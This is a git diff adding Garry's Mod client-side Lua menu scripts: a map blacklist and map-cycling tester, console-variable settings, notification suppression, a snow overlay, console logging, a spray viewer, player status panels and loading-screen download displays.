["gm_valley.bsp"] = true, + ["gm_voided_fixed.bsp"] = true, + ["gm_warmth.bsp"] = true, + ["gm_zach_island.bsp"] = true, + ["gunship_onslaght.bsp"] = true, + ["harbor2ocean_navalb3.bsp"] = true, + ["hoejhus9_minecraft.bsp"] = true, + ["home.bsp"] = true, + ["mg_eye_train_b1_fix.bsp"] = true, + ["mg_space_eye_smash.bsp"] = true, + ["neostruct_extended.bsp"] = true, + ["os_antlion_siege.bsp"] = true, + ["phys_bibridgeton.bsp"] = true, + ["phys_jenga.bsp"] = true, + ["prisonv2.bsp"] = true, + ["pyth_targettest.bsp"] = true, + ["rainbow_drop.bsp"] = true, + ["rp_dependancev1beta14.bsp"] = true, + ["rp_fortlongcat_v2i.bsp"] = true, + ["rp_prison.bsp"] = true, + ["rp_sunvale.bsp"] = true, + ["rp_sunvale_v2.bsp"] = true, + ["sb_new_worlds_2.bsp"] = true, + ["sdk_dmm_building.bsp"] = true, + ["sdk_dynamic_water.bsp"] = true, + ["steampunk.bsp"] = true, + ["ttt_67th_way.bsp"] = true, + ["ttt_crummycradle_a4.bsp"] = true, + ["ttt_infini_b3.bsp"] = true, + ["vs_underground_v2.bsp"] = true, + ["wall-mart_v6_final.bsp"] = true, + ["wm_nightspell.bsp"] = true, + ["wm_winterwarfare.bsp"] = true, + ["zm_lv426.bsp"] = true, + ["zm_survive.bsp"] = true, + ["zombiesurvival_mojave.bsp"] = true, + ["zombiesurvival_mojave_lonesome.bsp"] = true, + ["zs_gravity_v2.bsp"] = true, + ["zs_obj_vertigo_v0.bsp"] = true, + ["zs_trainterminal.bsp"] = true, + ["zwonder_2_v2.bsp"] = true, + ["cs_assault.bsp"] = true, + ["cs_compound.bsp"] = true, + ["cs_havana.bsp"] = true, + ["cs_italy.bsp"] = true, + ["cs_militia.bsp"] = true, + ["cs_office.bsp"] = true, + ["de_aztec.bsp"] = true, + ["de_cbble.bsp"] = true, + ["de_chateau.bsp"] = true, + ["de_dust.bsp"] = true, + ["de_dust2.bsp"] = true, + ["de_inferno.bsp"] = true, + ["de_nuke.bsp"] = true, + ["de_piranesi.bsp"] = true, + ["de_port.bsp"] = true, + ["de_prodigy.bsp"] = true, + ["de_tides.bsp"] = true, + ["de_train.bsp"] = true, + ["test_hardware.bsp"] = true, + ["test_speakers.bsp"] = true, + ["ep2_background01.bsp"] = true, + ["ep2_background02.bsp"] = true, + ["ep2_background02a.bsp"] = true, + ["ep2_background03.bsp"] = true, + ["ep2_outland_01.bsp"] = true, + ["ep2_outland_01a.bsp"] = true, + ["ep2_outland_02.bsp"] = true, + ["ep2_outland_03.bsp"] = true, + ["ep2_outland_04.bsp"] = true, + ["ep2_outland_05.bsp"] = true, + ["ep2_outland_06.bsp"] = true, + ["ep2_outland_06a.bsp"] = true, + ["ep2_outland_07.bsp"] = true, + ["ep2_outland_08.bsp"] = true, + ["ep2_outland_09.bsp"] = true, + ["ep2_outland_10.bsp"] = true, + ["ep2_outland_10a.bsp"] = true, + ["ep2_outland_11.bsp"] = true, + ["ep2_outland_11a.bsp"] = true, + ["ep2_outland_11b.bsp"] = true, + ["ep2_outland_12.bsp"] = true, + ["ep2_outland_12a.bsp"] = true, + ["arena_badlands.bsp"] = true, + ["arena_granary.bsp"] = true, + ["arena_lumberyard.bsp"] = true, + ["arena_nucleus.bsp"] = true, + ["arena_offblast_final.bsp"] = true, + ["arena_ravine.bsp"] = true, + ["arena_sawmill.bsp"] = true, + ["arena_watchtower.bsp"] = true, + ["arena_well.bsp"] = true, + ["cp_5gorge.bsp"] = true, + ["cp_badlands.bsp"] = true, + ["cp_coldfront.bsp"] = true, + ["cp_degrootkeep.bsp"] = true, + ["cp_dustbowl.bsp"] = true, + ["cp_egypt_final.bsp"] = true, + ["cp_fastlane.bsp"] = true, + ["cp_foundry.bsp"] = true, + ["cp_freight_final1.bsp"] = true, + ["cp_gorge.bsp"] = true, + ["cp_granary.bsp"] = true, + ["cp_gravelpit.bsp"] = true, + ["cp_gullywash_final1.bsp"] = true, + ["cp_junction_final.bsp"] = true, + ["cp_manor_event.bsp"] = true, + ["cp_mountainlab.bsp"] = true, + ["cp_steel.bsp"] = true, + ["cp_well.bsp"] = true, + ["cp_yukon_final.bsp"] = true, + ["ctf_2fort.bsp"] = true, + ["ctf_doublecross.bsp"] = true, + ["ctf_sawmill.bsp"] = true, + ["ctf_turbine.bsp"] = true, + ["ctf_well.bsp"] = true, + ["itemtest.bsp"] = true, + ["koth_badlands.bsp"] = true, + ["koth_harvest_event.bsp"] = true, + ["koth_harvest_final.bsp"] = true, + ["koth_lakeside_final.bsp"] = true, + ["koth_nucleus.bsp"] = true, + ["koth_sawmill.bsp"] = true, + ["koth_viaduct.bsp"] = true, + ["koth_viaduct_event.bsp"] = true, + ["pl_badwater.bsp"] = true, + ["pl_barnblitz.bsp"] = true, + ["pl_frontier_final.bsp"] = true, + ["pl_goldrush.bsp"] = true, + ["pl_hoodoo_final.bsp"] = true, + ["pl_thundermountain.bsp"] = true, + ["pl_upward.bsp"] = true, + ["plr_hightower.bsp"] = true, + ["plr_nightfall_final.bsp"] = true, + ["plr_pipeline.bsp"] = true, + ["tc_hydro.bsp"] = true, + ["tr_dustbowl.bsp"] = true, + ["tr_target.bsp"] = true, + ["ep1_background01.bsp"] = true, + ["ep1_background01a.bsp"] = true, + ["ep1_background02.bsp"] = true, + ["ep1_c17_00.bsp"] = true, + ["ep1_c17_00a.bsp"] = true, + ["ep1_c17_01.bsp"] = true, + ["ep1_c17_02.bsp"] = true, + ["ep1_c17_02a.bsp"] = true, + ["ep1_c17_02b.bsp"] = true, + ["ep1_c17_05.bsp"] = true, + ["ep1_c17_06.bsp"] = true, + ["ep1_citadel_00.bsp"] = true, + ["ep1_citadel_01.bsp"] = true, + ["ep1_citadel_02.bsp"] = true, + ["ep1_citadel_02b.bsp"] = true, + ["ep1_citadel_03.bsp"] = true, + ["ep1_citadel_04.bsp"] = true, + ["dm_lockdown.bsp"] = true, + ["dm_overwatch.bsp"] = true, + ["dm_powerhouse.bsp"] = true, + ["dm_resistance.bsp"] = true, + ["dm_runoff.bsp"] = true, + ["dm_steamlab.bsp"] = true, + ["dm_underpass.bsp"] = true, + ["background1.bsp"] = true, + ["background2.bsp"] = true, + ["escape_00.bsp"] = true, + ["escape_01.bsp"] = true, + ["escape_02.bsp"] = true, + ["testchmb_a_00.bsp"] = true, + ["testchmb_a_01.bsp"] = true, + ["testchmb_a_02.bsp"] = true, + ["testchmb_a_03.bsp"] = true, + ["testchmb_a_04.bsp"] = true, + ["testchmb_a_05.bsp"] = true, + ["testchmb_a_06.bsp"] = true, + ["testchmb_a_07.bsp"] = true, + ["testchmb_a_08.bsp"] = true, + ["testchmb_a_08_advanced.bsp"] = true, + ["testchmb_a_09.bsp"] = true, + ["testchmb_a_09_advanced.bsp"] = true, + ["testchmb_a_10.bsp"] = true, + ["testchmb_a_10_advanced.bsp"] = true, + ["testchmb_a_11.bsp"] = true, + ["testchmb_a_11_advanced.bsp"] = true, + ["testchmb_a_13.bsp"] = true, + ["testchmb_a_13_advanced.bsp"] = true, + ["testchmb_a_14.bsp"] = true, + ["testchmb_a_14_advanced.bsp"] = true, + ["testchmb_a_15.bsp"] = true, + ["asc_vanilla.bsp"] = true, + ["dfa_islands.bsp"] = true, + ["dfa_rsi_i.bsp"] = true, +} + + + +local AllMaps = {} +local DoneMaps = {} +local function GetAllMaps() + for k,v in pairs( file.Find("maps/*.bsp", true) ) do + v = v:lower() + + if not BadMaps[v] then + table.insert(AllMaps, v) + end + end +end +timer.Simple(0.1, GetAllMaps) + + +local function LoadNextMap() + local Total = #AllMaps + if (Total == 0) then + print("! No maps in folder!") + return + elseif (Total > 50) then + print("! Too many maps, this isn't testing!") + return + end + + local Map + for k,v in pairs(AllMaps) do + if not DoneMaps[v] then + DoneMaps[v] = true + Map = v + break + end + end + + if not Map then + print("! Out of maps!") + return + end + + print( Format("LoadNextMap (%s/%s): %s", table.Count(DoneMaps), Total, Map) ) + timer.Simple(0.1, HeXLRCL, "disconnect") + timer.Simple(0.5, HeXLRCL, "map "..Map) +end +concommand.Add("mt_next", LoadNextMap) + + +local function DumpAllMaps() + local tot = 0 + for k,v in pairs(AllMaps) do + file.Append("mt_dump.txt", Format('\t["%s"] = true,\n', v) ) + tot = tot + 1 + end + + print("! dumped: "..tot.." maps") +end +concommand.Add("mt_dump", DumpAllMaps) + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_NoNotification.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_NoNotification.lua new file mode 100644 index 0000000..328ad34 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_NoNotification.lua @@ -0,0 +1,16 @@ + + + +local function Useless() end + +notification.AddProgress = Useless +notification.Kill = Useless +notification.AddLegacy = Useless +notification.Die = Useless +notification.UpdateNotice = Useless +notification.Update = Useless + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Settings.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Settings.lua new file mode 100644 index 0000000..edc71a8 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Settings.lua @@ -0,0 +1,60 @@ + +local Settings = { + --"vgui_allowhtml 0", + + --"net_showfragments 2", + "sv_cheats 0", + "hud_draw_fixed_reticle 1", + "sv_password beta", + "developer 1", + "download_debug 1", + "lua_log_cl 1", + "lua_log_sv 1", + "r_lod 0", + "mat_hdr_level 0", + "mat_bumpmap 1", + "sv_gamemodeoverride sandbox", + "sv_gamemode sandbox", + "sbox_noclip 1", + "sbox_godmode 0", + [[alias mp "bot_mimic 0; maxplayers 9; map gm_construct"]], +} + +local KidaSettings = { + [[alias go "connect gmod.game-host.org:27015"]], +} + +local KeepAt = { + ["pp_motionblur"] = "0", +} + + + +if IsMainGMod then --Not on test version! + table.Merge(Settings, KidaSettings) +end + +for k,v in pairs(Settings) do + HeXLRCL(v) +end + +timer.Create("CheckCVars", 1, 0, function() + for k,v in pairs(KeepAt) do + if (ConVarExists(k) and GetConVarString(k) != v) then + HeXLRCL(k.." "..v) + COLCON(CMIColor, k, RED, " != ", GREEN, v, CMIColor, ", resetting..") + end + end +end) + + +timer.Simple(0.1, function() + COLCON(CMIColor, "Set ", RED, "["..#Settings.."]", CMIColor, " settings!") +end) + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_SlowShot.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_SlowShot.lua new file mode 100644 index 0000000..f287d36 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_SlowShot.lua @@ -0,0 +1,26 @@ + + + + +local function SlowScreenshot(ply,cmd,args) + local Time = 4 + if args[1] then + Time = tonumber( args[1] ) + end + + print("\nTaking screenshot after "..Time.." seconds") + + timer.Simple(Time, function() + RunConsoleCommand("jpeg") + print("\nScreenshot done!") + end) +end +concommand.Add("jpeg_slow", SlowScreenshot) + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Snow.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Snow.lua new file mode 100644 index 0000000..49b5725 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Snow.lua @@ -0,0 +1,77 @@ + +if (os.date("%m") != "12") then return end + + +local PANEL = {} +local SnowFlakes = {} + +function PANEL:Init() + self:SetMouseInputEnabled( false ) + self:SetKeyboardInputEnabled( false ) + + self:SetSize( ScrW(), ScrH() ) + self:SetPos( 0, 0 ) + + SnowFlakes = {} +end + +function PANEL:AddSnowFlake() + self.SnowFlake = vgui.Create("DImage", myParent) + self.SnowFlake:SetImage( "blackops/snowflakes/"..math.random( 1, 24 ) ) + self.SnowFlake:SizeToContents() + self.SnowFlake.xOff = math.random( 0, ScrW()-self.SnowFlake:GetWide() ) + self.SnowFlake.Speed = math.random( 70, 200 ) + self.SnowFlake.StartTime = SysTime() + table.insert( SnowFlakes, self.SnowFlake) + --print( "Snowflake added!" ) +end + +function PANEL:Think() + for k,v in ipairs( SnowFlakes ) do + local h = ScrH() + local yOff = 0 - (v.StartTime - SysTime()) * v.Speed - v:GetTall() + if ( yOff > h ) then --When it reaches the bottom we fake the creation of a new snowflake + v.StartTime = SysTime() + v.xOff = math.random( 0, ScrW()-self.SnowFlake:GetWide() ) + v:SetImage( "blackops/snowflakes/"..math.random( 1, 24 ) ) + v.Speed = math.random( 70, 200 ) + end + v:SetPos( v.xOff + math.cos(v.StartTime - SysTime()) * v.Speed/2, yOff ) + end +end + +local SnowFlakePanel = vgui.RegisterTable( PANEL, "Panel" ) + +local flakebackground = vgui.CreateFromTable( SnowFlakePanel ) + +concommand.Add("snow_add", function(ply,cmd,args) + local amounttoadd + if args[1] then + amounttoadd = tonumber(args[1]) + else + amounttoadd = math.random( 20, 50 ) + end + + for i=1,amounttoadd do + flakebackground:AddSnowFlake() + end +end ) --for lulz + +concommand.Add("snow_remove", function(ply,cmd,args) + for k,v in pairs(SnowFlakes) do + v:Remove() + v = nil + end + SnowFlakes = {} +end) + + +for i=1,math.random( 20, 50 ) do + flakebackground:AddSnowFlake() +end + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Spew.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Spew.lua new file mode 100644 index 0000000..b379cbc --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Spew.lua @@ -0,0 +1,34 @@ + +--require("simplespew") + +local Map = "Menustate" + +hook.Add("OnLoadingStarted", "GetMap", function() + Map = client.GetMapName() +end) + +hook.Add("OnLoadingStopped", "ResetMap", function() + Map = "Menustate" +end) + + +local function ProcessSpew(typ,spew,group,lev,red,green,blue,alpha) + if not client then + hook.Remove("SimpleSpew", "ProcessSpew") --Don't call own hook! + ErrorNoHalt("Extras gone, can't use client.GetMapName for spew!") + return + end + + local Date = os.date("%d-%m-%Y_%A") + + file.Append("spew/"..Date.."/"..Map..".txt", spew) + + --[[ + if spew:find(": ") then + file.Append("spew/"..Date.."_TALK/"..Map..".txt", spew) + end + ]] +end +hook.Add("SimpleSpew", "ProcessSpew", ProcessSpew) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Sprays.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Sprays.lua new file mode 100644 index 0000000..10fa747 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Sprays.lua @@ -0,0 +1,96 @@ + +concommand.Add( "spray_menu", function( ply, cmd, args ) + local Frame = vgui.Create( "DFrame" ) + Frame:SetSize( ScrH() / 2, ScrH() * 0.9 ) + Frame:SetTitle( "Player Sprays" ) + + local List = vgui.Create( "DPanelList", Frame ) + List:Dock( FILL ) + List:DockMargin( 2, 2, 2, 2 ) + List:EnableHorizontal( false ) + List:EnableVerticalScrollbar( true ) + List:SetPadding( 4 ) + List:SetSpacing( 4 ) + + for _,ply in ipairs( player.GetAll() ) do + local Row = vgui.Create( "SprayIcon", List ) + Row:SetPlayer( ply ) + List:AddItem( Row ) + end + + Frame:MakePopup() + Frame:Center() +end ) + +local PANEL = {} + +function PANEL:Init() + + self:SetMouseInputEnabled( true ) + self:SetKeyboardInputEnabled( false ) + + self.Name = vgui.Create( "DLabel", self ) + self.Name:SetFont( "Trebuchet22" ) + self.Name:SetColor( Color( 170, 240, 90 ) ) + self.Name:SetText( "" ) + self.Name:SetExpensiveShadow( 2, Color( 0, 0, 0, 100 ) ) + + self.Desc = vgui.Create( "DLabel", self ) + self.Desc:SetFont( "DefaultBold" ) + self.Desc:SetColor( Color( 255, 255, 255, 200 ) ) + self.Desc:SetText( "" ) + + self.Icon = vgui.Create( "DImage", self ) + self.Icon:SetImage( "vgui/logos/spray_bullseye" ) + self.Icon:SetBGColor( Color( 255, 0, 0, 255 ) ) + + self:SetBackgroundColor( Color( 100, 100, 100, 255 ) ) + +end + +function PANEL:SetPlayer( ply ) + + local TempLogoPath = ply:GetSprayMaterialPath() + + self.Name:SetText( ply:Nick() ) + self:SetSize( 74, 74 ) + + if TempLogoPath then + + local new_material = TempLogoPath and CreateMaterial( TempLogoPath, "UnlitGeneric", { + ["$translucent"] = 1, + ["$basetexture"] = TempLogoPath, + ["$decal"] = 1, + ["Proxies"] = { + ["AnimatedTexture"] = { + ["animatedtexturevar"] = "$basetexture", + ["animatedtextureframenumvar"] = "$frame", + ["animatedtextureframerate"] = 5, + } + }, + } ) + + self.Icon:SetMaterial( new_material ) + self.Desc:SetText( TempLogoPath ) + end + +end + +function PANEL:PerformLayout() + + self.Icon:SetPos( 5, 5 ) + self.Icon:SetSize( 64, 64 ) + + self.Name:SizeToContents() + self.Name:AlignTop( 5 ) + self.Name:MoveRightOf( self.Icon, 10 ) + self.Name:SetZPos( 100 ) + + self.Desc:SizeToContents() + self.Desc:CopyPos( self.Name ) + self.Desc:MoveBelow( self.Name, 0 ) + + +end + +vgui.Register( "SprayIcon", PANEL, "DPanel" ) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Status2.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Status2.lua new file mode 100644 index 0000000..2fc8b51 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Status2.lua @@ -0,0 +1,121 @@ + + +local function ServerInfo(ply,cmd,args) + console.PrintColor( Color( 153, 217, 234 ), "\nMaxPlayers", Color( 255, 255, 255 ), ": " .. client.GetMaxPlayers() ) + console.PrintColor( Color( 153, 217, 234 ), "IP", Color( 255, 255, 255 ), ": " .. client.GetIP() ) + + for k,v in ipairs( player.GetAll() ) do + print( v, type( v ) ) + end + console.PrintColor( Color( 153, 217, 234 ), "\nLocalPlayer", Color( 255, 255, 255 ), ": " .. tostring( LocalPlayer() ) ) +end +concommand.Add("ServerInfo", ServerInfo) + + +local function Status2(ply,cmd,args) + print( "IP : " .. client.GetIP() ) + print( "Map : " .. client.GetMapName() ) + print( "Players : " .. table.maxn( player.GetAll() ) .. " (" .. client.GetMaxPlayers() .. " max)\n" ) + print( "# userid\tindex\tname\t\t\tsteamid\t\t\tcommunityid" ) + for k, v in pairs( player.GetAll() ) do + print( "# " .. v:UserID() .. "\t\t" .. v:EntIndex() .. "\t" .. v:Nick() .. "\t\t" .. v:SteamID() .. "\t" .. v:CommunityID() ) + end +end +concommand.Add("status2", Status2) + + +if IsMainGMod or IsKida then + hook.Add("ConsoleOpen", "lol", function() + if client.IsInGame() and (#player.GetHumans() > 1) then + Status2() + end + end) +end + + +concommand.Add("ServerPlayers", function( ply, cmd, args ) + local Frame = vgui.Create( "DFrame" ) + Frame:SetSize( ScrW()*0.55, ScrH()*0.45 ) + Frame:Center() + Frame:SetTitle( "Player List" ) + Frame:MakePopup() + + local List = vgui.Create( "DListView", Frame ) + List:SetPos( 5, 30 ) + List:SetSize( Frame:GetWide() - 10, Frame:GetTall() - 35 ) + List:SetMultiSelect( false ) + + List.IsPlayerOnList = function( self, ply ) + for k,v in pairs( self:GetLines() ) do + if v.PlayerEnt == ply then + return true + end + end + return false + end + + List.ThinkDelay = RealTime() + + List.Think = function( self ) -- Constantly update the menu to remove or add any new or old players + if !client.IsDrawingLoadingImage() and self.ThinkDelay <= RealTime() then --Never think while loading, tis bad + for k,v in pairs( self:GetLines() ) do + if !IsValid( v.PlayerEnt ) then + self:RemoveLine( k ) + else + v:SetColumnText( 4, v.PlayerEnt:SteamID() ) + v:SetColumnText( 7, tostring( v.PlayerEnt:IsMuted() ) ) + end + end + + for k,v in ipairs( player.GetAll() ) do + if !self:IsPlayerOnList( v ) then + local line = self:AddLine( v:Nick(), v:UserID(), v:EntIndex(), v:SteamID(), v:CommunityID(), tostring( v:IsBot() ), tostring( v:IsMuted() ) ) + line.PlayerEnt = v + if v == LocalPlayer() then + self:SelectItem( line ) + end + end + end + self.ThinkDelay = RealTime() + 1 + end + end + + List:AddColumn("Name") + List:AddColumn("UserID"):SetFixedWidth( 50 ) + List:AddColumn("EntIndex"):SetFixedWidth( 50 ) + List:AddColumn("SteamID"):SetFixedWidth( 125 ) + List:AddColumn("Community ID"):SetFixedWidth( 125 ) + List:AddColumn("Bot"):SetFixedWidth( 35 ) + List:AddColumn("Muted"):SetFixedWidth( 40 ) + List.OnRowRightClick = function() + + local SelectedPlayer = List:GetLine( List:GetSelectedLine() ).PlayerEnt + + if IsValid( SelectedPlayer ) then + local Menu = DermaMenu() + Menu:SetParent( Frame ) + Menu:SetPos( Frame:CursorPos() ) + if SelectedPlayer:IsMuted() then + Menu:AddOption("Unmute", function() + SelectedPlayer:SetMuted( false ) + end ) + else + Menu:AddOption("Mute", function() + SelectedPlayer:SetMuted( true ) + end ) + end + Menu:AddOption("Copy Name", function() + SetClipboardText( SelectedPlayer:Nick() ) + end ) + Menu:AddOption("Copy SteamID", function() + SetClipboardText( SelectedPlayer:SteamID() ) + end ) + Menu:AddOption("Copy CommunityID", function() + SetClipboardText( SelectedPlayer:CommunityID() ) + end ) + Menu:AddOption("Go To Steam Page", function() + gui.OpenURL( "http://www.steamcommunity.com/profiles/" .. SelectedPlayer:CommunityID() ) + end ) + end + end +end) \ No newline at end of file diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Toggle.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Toggle.lua new file mode 100644 index 0000000..eb418d7 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/ml_Toggle.lua @@ -0,0 +1,31 @@ + +if not IsMainGMod then return end + + +local VoiceToggle = false +local function togglevoicerecord() + if not VoiceToggle then + RunConsoleCommand("+voicerecord") + else + RunConsoleCommand("-voicerecord") + end + VoiceToggle = not VoiceToggle +end +concommand.Add("togglevoice", togglevoicerecord) + + +/* +local togglecommands = {} +local function ToggleAPlusMinusCommand(ply,cmd,args) + if not args[1] then print("enter an argument plz") return end + if not togglecommands[args[1]] then togglecommands[args[1]] = false end + if not togglecommands[args[1]] then + RunConsoleCommand("+"..args[1]) + else + RunConsoleCommand("-"..args[1]) + end + togglecommands[args[1]] = not togglecommands[args[1]] +end +concommand.Add("ftoggle", ToggleAPlusMinusCommand) +*/ + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/download_type.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/download_type.lua new file mode 100644 index 0000000..0dd3cac --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/download_type.lua @@ -0,0 +1,113 @@ + + +surface.CreateFont("Coolvetica", 20, 500, true, false, "LoadingDownloads") + +PANEL.Base = "Panel" + +function PANEL:Init() + self.Icon = vgui.Create("DImage", self) + self.Icon:SetImage("gui/silkicons/page_white_magnify") + + self.lblNumToDownload = vgui.Create("DLabel", self) + self.lblNumToDownload:SetContentAlignment(4) + self.lblNumToDownload:SetFont("LoadingDownloads") + + self.Files = {} + self.FilesToDownload = {} +end + + + +function PANEL:PerformLayout() + local Height = 20 + + self:SetWide(150) + self:SetTall(Height) + + self.Icon:SetPos(0, 0) + self.Icon:SizeToContents() + self.Icon:CenterVertical() + + self.lblNumToDownload:StretchToParent(25, 0, 0, 0) +end + + +function PANEL:SetText(txt) + self.TypeName = txt +end + + +function PANEL:SetIcon(txt) + self.IconTexture = txt + self.Icon:SetImage(txt) +end + + +function PANEL:SetSpeed(s) + self.Speed = s +end + + +function PANEL:AddFile(filename) + local iReturn = 0 + local bExists = file.Exists(filename, true) + + if (bExists) then + table.insert(self.Files, filename) + else + table.insert(self.FilesToDownload, filename) + iReturn = 1 + end + + self:UpdateCounts() + return iReturn +end + + +function PANEL:Downloaded(filename) + for k, v in pairs(self.FilesToDownload) do + if (v == filename) then + self.FilesToDownload[ k ] = nil + table.insert(self.Files, v) + end + end + + self:UpdateCounts() +end + + +function PANEL:MakeRunner(filename) + for k, v in pairs(self.FilesToDownload) do + v = v:gsub("\\", "/") + + if (v == filename) then + return self:GetParent():AddRunner(self.IconTexture, self.Speed) + end + end +end + + +function PANEL:ShouldBeVisible() + return table.Count(self.FilesToDownload) > 0 +end + + +function PANEL:UpdateCounts() + local cnt = table.Count(self.FilesToDownload) + self.lblNumToDownload:SetText(Format("%i %s", cnt, self.TypeName)) + + if (cnt == 0) then + self:SetVisible(false) + end +end + + +function PANEL:Clean() + self.Files = {} + self.FilesToDownload = {} + + self:UpdateCounts() +end + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/downloads.lua b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/downloads.lua new file mode 100644 index 0000000..81a74bd --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/garrysmod/lua/custom_menu/original_loading/downloads.lua @@ -0,0 +1,186 @@ + + + +local pnlDownloadType = vgui.RegisterFile("download_type.lua") +local pnlRunnerType = vgui.RegisterFile("runner.lua") + +PANEL.Base = "Panel" + + +function PANEL:Init() + self.lblHeadline = vgui.Create("DLabel", self) + self.lblHeadline:SetFont("LoadingProgress") + self.lblHeadline:SetContentAlignment(5) + + self.Downloads = {} + + self.Downloads["other"] = self:DownloadType("Garbage", "gui/silkicons/box", 25) + self.Downloads["lua"] = self:DownloadType("Datapack", "gui/silkicons/page", 30) + self.Downloads["textures"] = self:DownloadType("Materials", "gui/silkicons/palette", 40) + self.Downloads["models"] = self:DownloadType("Models", "gui/silkicons/brick_add", 50) + self.Downloads["maps"] = self:DownloadType("Map", "gui/silkicons/world", 60) + self.Downloads["sounds"] = self:DownloadType("Sounds", "gui/silkicons/sound", 35) + self.Downloads["text"] = self:DownloadType("Text", "gui/silkicons/table_edit", 30) +end + + +function PANEL:DownloadType(strName, strTexture, speed) + local ctrl = vgui.CreateFromTable(pnlDownloadType, self) + ctrl:SetText(strName) + ctrl:SetIcon(strTexture) + ctrl:SetSpeed(speed) + return ctrl +end + + +function PANEL:PerformLayout() + self.lblHeadline:SetPos(0, 20) + self.lblHeadline:SetSize(ScrW(), 20) + + y = 50 + + for k, panel in pairs(self.Downloads) do + if (panel:ShouldBeVisible()) then + panel:SetVisible(true) + panel:InvalidateLayout(true) + panel:CenterHorizontal() + panel.y = y + y = y + panel:GetTall() + 2 + else + panel:SetVisible(false) + end + end +end + + +function PANEL:RefreshDownloadables() + self.Downloadables = GetDownloadables() + if (!self.Downloadables) then return end + + self:ClearDownloads() + + local iDownloading = 0 + for k, v in pairs(self.Downloadables) do + v = v:gsub(".bz2", "") + v = v:gsub(".ztmp", "") + v = v:gsub("\\", "/") + + iDownloading = iDownloading + self:ClassifyDownload(v) + end + + if (iDownloading == 0) then return end + + self.lblHeadline:SetText(Format("%i files needed from server", iDownloading)) + self:InvalidateLayout() +end + + +function PANEL:ClearDownloads() + for k, panel in pairs(self.Downloads) do + panel:Clean() + panel:SetVisible(false) + end +end + + +function PANEL:ClassifyDownload(filename) + local ctrl = self.Downloads["other"] + + if filename:find(".dua") then + ctrl = self.Downloads["lua"] + + elseif (filename:find(".vtf") or filename:find(".vmt")) then + ctrl = self.Downloads["textures"] + + elseif (filename:find("models/") or filename:find("models\\") or filename:find(".mdl")) then + ctrl = self.Downloads["models"] + + elseif (filename:find("sound/") or filename:find("sound\\") or filename:find(".wav") or filename:find(".mp3")) then + ctrl = self.Downloads["sounds"] + + elseif (filename:find(".bsp")) then + ctrl = self.Downloads["maps"] + + elseif (filename:find(".txt")) then + ctrl = self.Downloads["text"] + end + + return ctrl:AddFile(filename) +end + + +function PANEL:CheckDownloadTables() + local NumDownloadables = NumDownloadables() + if (!NumDownloadables) then return end + + if (!self.NumDownloadables or NumDownloadables != self.NumDownloadables) then + self.NumDownloadables = NumDownloadables + self:RefreshDownloadables() + end +end + + +function PANEL:Clean() + self.NumDownloadables = nil + self.Downloadables = nil + self.FilesToDownload = nil + + self:ClearDownloads() + + self.lblHeadline:SetText("") +end + + + +function PANEL:CurrentDownloadFinished() + if (!self.strCurrentDownload) then return end + + for k, panel in pairs(self.Downloads) do + panel:Downloaded(self.strCurrentDownload) + end + + if (self.CurrentRunner) then + if (self.CurrentRunner:IsValid()) then + self.CurrentRunner:SetRepeat(false) + end + self.CurrentRunner = nil + end + + self.strCurrentDownload = nil +end + + +function PANEL:DownloadingFile(filename) + self:CheckDownloadTables() + self:CurrentDownloadFinished() + self.strCurrentDownload = filename + + if (self.CurrentRunner) then + if (self.CurrentRunner:IsValid()) then + self.CurrentRunner:SetRepeat(false) + end + self.CurrentRunner = nil + end + + for k, panel in pairs(self.Downloads) do + self.CurrentRunner = panel:MakeRunner(self.strCurrentDownload) + if (self.CurrentRunner) then + self.CurrentRunner:SetRepeat(true) + break + end + end +end + + +function PANEL:StatusChanged(strNewStatus) + self:CurrentDownloadFinished() + self:CheckDownloadTables() +end + + +function PANEL:AddRunner(icon, speed) + local Runner = vgui.CreateFromTable(pnlRunnerType, self) + Runner:SetUp(icon, speed) + return Runner +end + diff --git 